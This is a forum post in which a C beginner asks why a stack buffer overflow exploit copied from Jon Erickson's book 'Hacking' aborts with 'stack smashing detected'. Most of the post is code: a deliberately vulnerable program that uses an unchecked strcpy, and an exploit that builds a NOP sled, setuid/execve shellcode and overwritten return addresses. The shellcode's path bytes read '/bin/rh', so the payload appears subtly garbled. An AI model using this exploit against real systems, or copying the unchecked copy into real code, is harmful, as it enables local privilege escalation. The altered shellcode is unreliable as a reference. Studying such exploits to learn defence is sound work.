Hi,
I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.
Both programs compile error-free and there are no other problems.
They are compiled with Gcc 4.1.2 on Ubuntu 4.1.1 (if it should matter.)
The problem is when i try to run exploit. I get this message:
Stack pointer (ESP) : 0xbf963908
Offset from ESP : 0x0
Desired return addr; 0xbf963908
*** stack smashing detected ***: vuln terminated
Aborted
vuln.c:
Code:int main(int argc, char *argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; }
exploit.c
Code:#include <stdlib.h> char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72" "\x68"; unsigned long sp(void) {__asm__("mov %esp, %eax");} int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp -offset; printf("Stack pointer (ESP) : 0x%x\n", esp); printf(" Offset from ESP : 0x%x\n", offset); printf("Desired return addr: 0x%x\n", ret); buffer = malloc(600); ptr = buffer; addr_ptr = (long *) ptr; for (i=0; i < 600; i+=4) { *(addr_ptr++) = ret; } for (i=0; i < 200; i++) {buffer[i] = '\x90'; } ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } buffer[600-1] = 0; execl("./vuln","vuln", buffer, 0); free(buffer); return(0); }
I'm just a beginner to C soo i would appreciate any comments.
- Martin



LinkBack URL
About LinkBacks





